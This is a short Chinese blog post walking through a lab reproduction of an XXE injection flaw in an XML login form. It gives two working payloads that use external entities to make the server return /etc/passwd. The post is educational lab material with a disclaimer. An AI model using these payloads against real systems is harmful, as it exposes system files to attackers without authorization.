漏洞复现之xxe漏洞

向右看齐 2022-08-29 10:51 223阅读 0赞

### 文章目录 ###

*   *  XXE-基础实验
     *   *  实验内容
         *  实验步骤
         *   *  1.访问目标进行注入攻击
             *  2.尝试进行登录，并进行抓包
             *  3.根据xxe注入漏洞，构造payloa
         *  免责声明

## XXE-基础实验 ##

### 实验内容 ###

--------------------

**XXE(XML注入)**

### 实验步骤 ###

#### 1.访问目标进行注入攻击 ####

访问目标IP：172.16.12.2，看到以下页面  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 1]

#### 2.尝试进行登录，并进行抓包 ####

在数据包中发送的用户名/密码是以post形式发送的，并且格式很像xml文档

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 2]

#### 3.根据xxe注入漏洞，构造payloa ####

只需将payload输出在username里面就行

payload：

<?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE copyright [<!ENTITY whoami SYSTEM "file:///etc//passwd">
    ]>
    <user>
      <username>&whoami;</username>
      <password>123.com</password>
    </user>

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 3]

payload

<?xml version="1.0" ?>
    <!DOCTYPE r [
    <!ELEMENT r ANY >
    <!ENTITY sp SYSTEM "file:///etc/passwd">
    ]>
    <root> 
    	<username>&sp;</username>
        <password>123.com</password>
    </root>

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 4]

### 免责声明 ###

本文档供学习，请使用者注意使用环境并遵守国家相关法律法规!  
由于使用不当造成的后果上传者概不负责！

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70]: /images/20220829/940c9904f5924df18f183c60f2f19ff4.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 1]: /images/20220829/2ff26a6f97bf4fe39f38fe07f305d71a.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 2]: /images/20220829/532cd4ce453045e3905649501b08e51a.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 3]: /images/20220829/a46d0e67296545d7afbf2893085323fa.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 4]: /images/20220829/7295b3f274734bb3b86049a74e459460.png